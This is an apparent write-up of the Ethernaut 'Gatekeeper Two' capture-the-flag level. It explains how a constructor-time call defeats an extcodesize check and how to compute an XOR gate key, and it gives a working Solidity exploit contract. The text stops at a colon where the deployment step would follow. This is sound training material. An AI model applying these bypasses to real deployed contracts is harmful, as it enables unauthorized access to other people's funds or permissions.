Gatekeeper Two - The Ethernaut - Writeup
This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
The goal of the challenge is to successfully execute the function enter on this contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
We need to pass the three modifiers gateOne, gateTwo and gateThree. Let’s generate a new instance of the challenge first:

Passing gateOne
This check is easy. We will need to create a contract that will call the enter function on the challenge contract. We will call our contract and so, tx.origin != msg.sender.
Passing gateTwo
The second modifier is written in assembly (Yul) code:
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
The function caller() simply returns the address that made the call. Afaik it is equivalente to msg.sender. The function extcodesize(address) returns the size of the bytecode stored at the specified address, if the address belongs to a contract. Otherwise (if it is a EOA), it returns 0.
Most importantly for this challenge, we need to know that the extcodesize function returns 0 if the contract is being created at that moment. That is, if the constructor of the contract is being executed. Therefore, to pass the check, we need to include the code in out exploit contract’s constructor.
The contract will look like:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GateKeeperTwo.sol";
contract Exploit {
constructor(address _gatekeeper) {
uint64 gateKey = ??????
GatekeeperTwo(_gatekeeper).enter(bytes8(gateKey));
}
}
Passing gateThree
The third modifier involves a XOR operation:
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
The XOR function is its own inverse function, so we can easily solve for the gate key:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GateKeeperTwo.sol";
contract Exploit {
constructor(address _gatekeeper) {
uint64 gateKey = type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
GatekeeperTwo(_gatekeeper).enter(bytes8(gateKey));
}
}
Now, we just need to deploy the contract and the constructor will be executed:

